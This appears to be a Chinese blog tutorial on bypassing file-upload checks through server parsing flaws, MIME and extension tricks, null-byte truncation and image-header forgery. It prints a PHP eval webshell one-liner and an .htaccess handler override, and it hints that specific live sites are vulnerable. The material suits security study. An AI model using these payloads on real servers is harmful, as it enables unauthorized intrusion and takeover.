漏洞上传原理与实践

最新推荐文章于 2024-05-04 07:20:51 发布
最新推荐文章于 2024-05-04 07:20:51 发布
阅读量445 收藏 2
点赞数
分类专栏： web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_44632668/article/details/98038238
版权

漏洞上传原理与实践

一、解析漏洞

1.1、lls 5.x/6.0解析漏洞

1.1.1、目录解析

v.asp/1.jpg
服务器直接解析的v.asp脚本文件,所以会直接执行v.asp。

1.1.2、 文件解析

v.asp;.jpg
会被服务器看成是x.asp还有ll6.0默认的可执行文件除了asp还有三种：
v.asa
v.cer
v.cdx

1.2、Apache解析漏洞

Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断。

比如 v.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把v.php.owf.rar解析成php脚本文件。

如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个v.php.rara.jpg.png…（把你知道的常见后缀都写上…）去测试是否是合法后缀。

1.3、IIS 7.0/IIS 7.5/ Nginx <8.03畸形解析漏洞

Nginx解析漏洞这个伟大的漏洞是我国安全组织80sec发现的，一般在互助，微信互刷平台 ，爱心福利等站有这种漏洞，这是08的站 ，PHP的特性。

在默认Fast-CGI开启状况下,黑阔上传一个名字为v.jpg，内容为

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>’);?>
的文件，然后访问v.jpg/.php,在这个目录下就会生成一句话木马 shell.php

1.4、Nginx <8.03 空字节代码执行漏洞

影响版:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37

Nginx在图片中嵌入PHP代码然后通过访问

v.jpg%00.php
来执行其中的代码

1.5、其他

在windows环境下，xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的，若这样命名，windows会默认除去空格或点,黑客可以通过抓包，在文件名后加一个空格或者点绕过黑名单.若上传成功，空格和点都会被windows自动消除,这样也可以getshell。

如果在Apache中.htaccess可被执行.且可被上传.那可以尝试在.htaccess中写入:

<FilesMatch “v.jpg”>
SetHandler application/x-httpd-php
< /FilesMatch>
然后再上传shell.jpg的木马, 这样shell.jpg就可解析为php文件。

二、常见的上传检测方式

1.客户端JS检测（通常为检测文件拓展名）
2.服务端MIME类型检测（检测Content-Type）
3.服务端目录路径检测（检测跟path参数相关的内容）
4.服务端文件扩展名检测（检测跟文件extension相关的内容）
5.服务端文件内容检测（检测内容是否合法或含有恶意代码）

三、上传本地验证绕过

3.1、上传检测流程概述

选择一脚本文件，点击完上传之后立刻弹出提示框，还没有经过网络，就探测出来不允许上传，这就是本地JS检测，1是看响应速度，2是看代码，响应速度可能不准确，我建议大家最好看一下代码，下面是我在某漏洞平台做的测试。
在这里插入图片描述
这里我选择一个后缀为asp的脚本文件，点击上传立刻出现“文件不符合要求”的提示，但这样可能不准确，我们右击检查或审查元素，在form表单中看它有没有加载检查文件，如图可以看到“车FileExt”这个检查元素。
在这里插入图片描述
找到这个JS函数，可以清楚的看到它的检查后缀的条件判断。
在这里插入图片描述

3.2、客户端JS检测绕过（JS检测）

3.2.1、绕过检测两种方法

方法一

1.直接编辑HTML，删除检测函数或者是在检测函数的白名单中加上php或者asp后缀，右击编辑HTML
在这里插入图片描述
可以看到直接把“checkFileExt”删除
在这里插入图片描述
可以看到加上php这一后缀，再次上传脚本木马
在这里插入图片描述
可以看到成功上传

方法二

2.使用burpsuite抓包改包

上传V.jpg这一图片马，然后抓包，右击发送给Repeater改包
在这里插入图片描述
在这里插入图片描述
把它的后缀改为php，go
在这里插入图片描述
可以看到脚本木马V.php上传成功，因酷教育以前有这个漏洞。

四、上传服务器端验证绕过

4.1、服务端检测绕过(MIME 类型检测)

如果文件内容检测设置的比较严格，那么上传攻击将变得非常困难，也可以说它是在代码层检测的最后一道关卡，如果它被突破了，就算没有代码层的漏洞，也给后面利用运用层的解析漏洞带来了机会。

MIME的作用 ： 使客户端软件，区分不同种类的数据，例如web浏览器就是通过MIME类型来判断文件是GIF图片，还是可打印的PostScript文件。

web服务器使用MIME来说明发送数据的种类， web客户端使用MIME来说明希望接收到的数据种类。

Tomcat的安装目录\conf\web.xml 中就定义了大量MIME类型 ，你可也去看一下。

绕过方法：

直接使用burp抓包，得到post上传数据后，将 Content-Type: xxx改成 Content-Type: image/gif

就可以成功绕过。
实践一下，首先选择V.png上传，抓包
在这里插入图片描述
将 Content-Type: xxx改成 Content-Type: image/gif，脚本木马后缀改为php
在这里插入图片描述
go一下，可以看到成功上传
在这里插入图片描述
（我们一般是上传图片马，图片马可以识别出来是一个图片类型，但最终我们要把它以脚本的格式上传服务器，一般互助的站存在这种漏洞，感兴趣的话可以看看ZWELL这个站，你可能会有惊喜）

4.2、服务端检测绕过(目录路径检测)

目录路径检测，一般就检测路径是否合法，可以利用目录路径绕过配合iis解析漏洞
（很多韩国的站存在这种漏洞）
选择一图片木马上传，还是抓包，go一下 ，可以看到图片保存目录
在这里插入图片描述
在“filepath”下加上/x.asp/或者/x.asp;.解析
在这里插入图片描述
可以看到目录变为/x.asp/…
在这里插入图片描述

4.3、服务端检测绕过(文件扩展名检测)

4.3.1、检测的两种方式

1、黑名单检测

黑名单的安全性比白名单的安全性低很多，攻击手法自然也比白名单多 一般有个专门的 blacklist 文件，里面会包含常见的危险脚本文件例如 fckeditor 2.4.3 或之前版本的黑名单。

2、白名单检测

白名单相对来说比黑名单安全一些，但也不见得就绝对安全了。

一般来说白名单难绕，白名单定义的比较死，而黑名单会有一些漏网之鱼，或者可以利用一些解析漏洞帮我们绕过黑名单
的限制，白名单的话，我只受理我定义的几种类型的后缀，其他后缀我不受理，所以难饶。

4.3.2、黑名单检测绕过

1. 文件名大小写绕过

用像 AsP，pHp 之类的文件名绕过黑名单检测。

2. 名单列表绕过

用黑名单里没有的名单进行攻击，比如黑名单里没有 asa 或 cer 之类。

3. 特殊文件名绕过

比如发送的 http 包里把文件名改成 test.asp. 或 test.asp_(下划线为空格)，这种命名方式 在 windows 系统里是不被允许的，所以需要在 burp 之类里进行修改，然后绕过验证后，会 被 windows 系统自动去掉后面的点和空格，但要注意 Unix/Linux 系统没有这个特性。

4. 0x00 截断绕过

给个简单的伪代码
name=getname(http request)//假如这时候获取到的文件名是V.asp.jpg(asp后面为0x00)
type = gettype(name)//而在gettype()函数里处理方式是从后往前扫描扩展名，所以判断为jpg
if(type==jpg)

4.3.3、白名单检测绕过

1. 0x00 截断绕过

用像 v.asp%00.jpg 的方式进行截断，属于白名单文件，再利用服务端代码的检测逻辑漏洞进行攻击，在phpweb存在这种漏洞**&00 --ctrl+shift+U**
选择一png木马文件上传，抓包加上.php&00,选中%00,ctrl+shift+U,把它变为方格，，然后go，，可以看到文件上传成功，且为php文件。
在这里插入图片描述

4.3.4、双文件上传

条件：

接受两个文件同时上传，

只检测了第一个文件扩展名，

动易、南方、良精等CMS存在该漏洞，

用burpsuite抓包，然后将请求头部分下面的内容负责，开头为-----，结尾为----------，

其他地方不用负责，然后粘贴到第一个文件结尾-------后面，把第二个文件开头------去掉，

将第一个文件的name=xxxx修改为name=xxxx1，修改文件名为cer或者asa等即可上传成功。
如图
在这里插入图片描述
在这里插入图片描述

当然也可以用明小子改cookie双文件上传

如果文件内容检测设置的比较严格，那么上传攻击将变得非常困难，也可以说它是在代码层检测的最后一道关卡，如果它被突破了，就算没有代码层的漏洞，也给后面利用运用层的解析漏洞带来了机会。

4.5、服务端验证绕过(文件完整性检测)

3.5.1、文件头检测

主要是在文件内容开始设置好图片文件的幻数要绕过 jpg 文件检测就要在文件开头写上下图的值
在这里插入图片描述
要绕过 gif 文件检测就要在文件开头写上下图的值

在这里插入图片描述
要绕过 png 文件检测就要在文件开头写上下面的值

在这里插入图片描述
然后在文件头后面加上自己的一句话木马就行了图像大小及相关信息检测常用的就是 getimagesize()函数
只需要把文件头部分伪造好就 ok 了，就是在幻数的基础上还加了一些文件信息
有点像下面的结构
GIF89a(…some binary data…)<?php phpinfo(); ?>(… skipping the rest of binary data …)

3.5.2、文件加载检测

这个是最变态的检测了，一般是调用的 API 或函数去进行文件加载测试常见的是图像渲染测试，再变态点的甚至是进行二次渲染(后面会提到) 对它的攻击一般就两种方式，一个是渲染测试绕过，另一个是攻击文件加载器自身

4.6、绕过二次渲染

4.6.1、方法一

攻击函数本身
通过上传不完整的图片让其渲染函数暴露，然后攻击之。

4.6.2、方法二

对文件加载器进行溢出攻击

4.6.3、怎么搞

二次渲染怎么搞呢，这个就比较操蛋了，如果我们上传图片马，你上传或者数据库备份之后，我们用菜刀连不上，它可能对你的图片马进行二次渲染了，
就是你上传图片携带的木马，它经过二次渲染，把你的木马去掉了，那你再把它修改为脚本格式也没有可以执行的代码了，所以你的菜刀连不上
一个案例就是ImageMagick，其实就是攻击它的图片操作函数，我们保存了一个图片，图片里面放置一段可执行的代码，他调用图片时把我们的命令执行了
执行之后我们反弹一个shell，就可以拿到服务器权限，而且这些站都比较大，权限比较高，感兴趣的朋友可以看看安全客的一篇文章https://www.anquanke.com/post/id/83872

V
关注
  • 0
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
IIS6.0文件解析漏洞
龙狼刺的博客
05-11 6226
目录 一、相关知识 1、IIS6.0解析漏洞介绍 2、IIS6.0PUT上传原理 3、IIS6.0解析文件类型 4、IIS6.0文件解析漏洞修复方案 二、环境配置 三、文件上传 1、设置代理 2、靶机环境配置 3、截取数据包 4、探测漏洞 5、创建文件，并写入一句话木马 6、复制文件并重命名，绕过拦截 四、蚁剑连接 一、相关知识 1、IIS6.0解析漏洞介绍 （1）当建立*.asa、*.asp格式的文件夹时，其目录下的任意文件都将被IIS当做asp文件解析。...
史上最完整漏洞上传原理与实践
V
08-01 823
最近看的一些关于漏洞上传的知识，详细的记录加上自己的一些想法，做渗透最重要的是实践，自认为是非常详细了，大家可以做个随便看看，有问题可以留言，谢谢
上传漏洞
qq_41453632的博客
11-23 674
上传漏洞概述： 在网站的运营过程中，不可避免的对网站的某些页面或者内容进行更新，这时便需要使用网站的文件上传功能。如果不对被上传的文件进行限制或者限制被绕过，该功能便有可能被利用于上传可执行文件.脚本到服务器上，进而进一步导致服务器沦陷。常见的漏洞分类： 服务器配置不当导致文件上传 开源编辑器存在上传漏洞 本地文件上传限制可以被绕过 服务端过滤不严可以被绕过 解析漏洞导致的文件执行 文件路径截断 ...
分布式文件系统FastDFS看这一篇就够了(文件上传下载、单机部署及集群部署)_go-fastdfs漏洞(2)
最新发布
2401_84281629的博客
05-04 836
KaTeX parse error: Expected group after ‘_’ at position 18: …ase_path} |_̲_data | …{ip_addr}_${port}.mark：存放向目标服务器同步的完成情况| || |__一级目录：256个存放数据文件的目录，目录名为十六进制字符，如：00, 1F| |__二级目录：256个存放数据文件的目录，目录名为十六进制字符，如：0A, CF|__logs。
上传漏洞科普[1]-文件上传表单是Web安全主要威胁
Exploit的小站~
03-02 1729
为了让最终用户将文件上传到您的网站，就像是给危及您的服务器的恶意用户打开了另一扇门。即便如此，在今天的现代互联网的Web应用程序，它是一种 常见的要求，因为它有助于提高您的业务效率。在Facebook和Twitter等社交网络的Web应用程序，允许文件上传。也让他们在博客，论坛，电子银行网站，YouTube和企业支持门户，给机会给最终用户与企业员工有效地共享文件。允许用户上传图片，视频，头像和许多
Go-fastdfs 任意文件上传（CVE-2023-1800）
失心少年
06-12 2159
在 sjqzhang go-fastdfs 1.4.3 之前发现了一个被归类为严重的漏洞。受此问题影响的是组件File Upload Handler的文件/group1/uploa的上传功能。操作导致路径遍历：‘…/filedir’。该漏洞已向公众披露并可能被使用。该漏洞的标识符为 VDB-224768。sjqzhang go-fastdfs 是一个开源分布式文件系统，专为存储和共享大文件而设计。它是用 Go 编写的，由开发者 sjqzhang 在 GitHub 上维护。
fastdfs--nginx安全漏洞(CVE-2021-23017)修复
李振伟的博客
08-01 4408
fastdfs--nginx安全漏洞 CVE-2021-23017
iis常见漏洞（中间件常见漏洞）
qq_56438857的博客
08-17 8978
该漏洞的意义:1、 猜解后台地址2、 猜解敏感文件,例如备份的rar、zip、.bak、.sql文件等。3、 在某些情形下,甚至可以通过短文件名web直接下载对应的文件。该漏洞的局限性:1、 只能猜解前六位,以及扩展名的前三位。2、 名称较短的文件是没有相应的短文件名的。3、 不支持中文文件名4、 如果文件名前6位带空格，8.3格式的短文件名会补进，和真实文件名不匹配5、 需要IIS和.net两个条件都满足。...
测试nginx的FastDFS分布式存储模块
weixin_34216107的博客
12-03 230
很长时间没有关注FastDFS了，第一次使用FastDFS 是在 08年的时候11月的时候，那个时候是为了解决公司的数据存储~那时候可能是对Fastdfs了解不深，功能还不算太健全，最后选择了lustre。再回过头来看FastDFS更新很快，还看到fastdfs-nginx-module_v1.01.tar.gz nginx模块，所以今天在一台测试机上测试了·测试几天看稳定不...
FastDFS合并存储的一个深层次bug排查
Huazie
07-08 356
FastDFS合并存储的一个深层次bug排查
FastDFS踩坑记
Huazie
03-01 578
FastDFS踩坑记 分享几个收集到的FastDFS踩坑案例，供大家参考，以防掉进同一个坑里（欢迎在评论区补充踩坑案例）。
文件上传漏洞
zhaohong_bo的专栏
05-21 1116
mark，此博主写的很全面了：https://thief.one/2016/09/22/上传木马姿势汇总-欢迎补充/
渗透记录——iis7.5漏洞没有iis6的解析漏洞
热门推荐
baidu_33260220的博客
09-18 1万+
拿到一个后台，刚开始不让传马，apsx伪装成jpg，提示安全错误，含有html编码，看来必须要用正常图片。于是找了小图片，用copy /b d:\aa.jpg+d:\xiaoma.aspx  luo2.jpg  ,如图 合成了一个含马的正常图片（注意顺序：图片+马是修改文件头，马+图片是修改图片尾）直接修改了文件头，发现可以上传。开心呀，于是就花式作死，各种尝试改后缀……
WEBSHELL姿势之文件上传漏洞（渗透实验）
forbidd3n，keep going
10-14 1万+
实验场景  某互联网公司授权你对其网络安全进行模拟黑客攻击渗透。在XX年XX月XX 日至XX年XX月XX日，对某核心服务器进行入侵测试，据了解，该web服务器（10.1.1.178）上 C:\consle存储有银行的关键敏感数据。 目标任务       请以下列任务为目标进行入侵渗透 ：       1、利用网站漏洞获取该服务器shell；（网页关入侵--铜牌任务）
上传服务器高级别漏洞：任意文件上传导致服务器可被操控漏洞
afra lee
05-19 1912
攻击者要想成功实施文件上传攻击，必须要满足以下三个条件： 1.可以上传任意脚本文件，且上传的文件能够被Web服务器解析执行，具体来说就是存放上传文件的目录要有执行脚本的权限。 2.用户能够通过Web访问这个文件。如果文件上传后，不能通过Web访问，那么也不能成功实施攻击。 3.要知道文件上传到服务器后的存放路径和文件名称，因为许多Web应用都会修改上传文件的文件名称，那么这时就需要结合其他漏
IIS漏洞
yangbz123的博客
06-07 634
IIS6.0解析漏洞 1、当服务器解析.asa和.asp文件时，其中网站目录下的所有文件都会当做.asp文件来解析。 在网站目录中新建一个test.asp的目录，再从test.asp目录下新建一个test.txt文档，在里面输入“你好世界”。 本来test.txt文件是不会被IIS去解析的，但是放在以.asp的test.asp目录下确被当做asp解析。 2、当文件为*.asp;abc.jpg时，也会被当做asp来执行，例如文件为test.asp;abc.jpg，结果照常解析。 漏洞预防 1、对网站目录
Web表单提交漏洞
bocai_xiaodaidai的博客
12-20 1860
一、漏洞的存在 某些网站服务端存在权限校验漏洞，使得前端可以随意提交任何表单信息。 二、漏洞演示 1、以下是某网站表单信息。对于普通用户是无法提交表单信息的，该网站仅仅隐藏了提交按钮，但内容仍可编辑。 可以通过尝试直接在浏览器的html中加入<button type='submit'>来提交。如何该网站服务端没有设置相应提交权限，则会修改成功。 2、以下是另一个网站...
用FastDFS一步步搭建文件管理系统(CentOS 7)
LuisChen的博客
04-10 2581
一、FastDFS介绍 开源地址：https://github.com/happyfish100 参考：分布式文件系统FastDFS设计原理 参考：FastDFS分布式文件系统 1.简介 FastDFS 是一个开源的高性能分布式文件系统（DFS）。 它的主要功能包括：文件存储，文件同步和文件访问，以及高容量和负载平衡。主要解决了海量数据存储问题，特别适合以中小文件（建议范围：4K...
Asp上传漏洞解析与检测方法探讨
在"Asp上传漏洞表现 - Web编程常见漏洞与检测"这篇文章中，主要探讨了ASP（Active Server Pages）编程中的一个关键安全问题——上传漏洞。上传漏洞通常指的是Web应用程序允许用户通过上传文件来执行未经授权的操作，...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值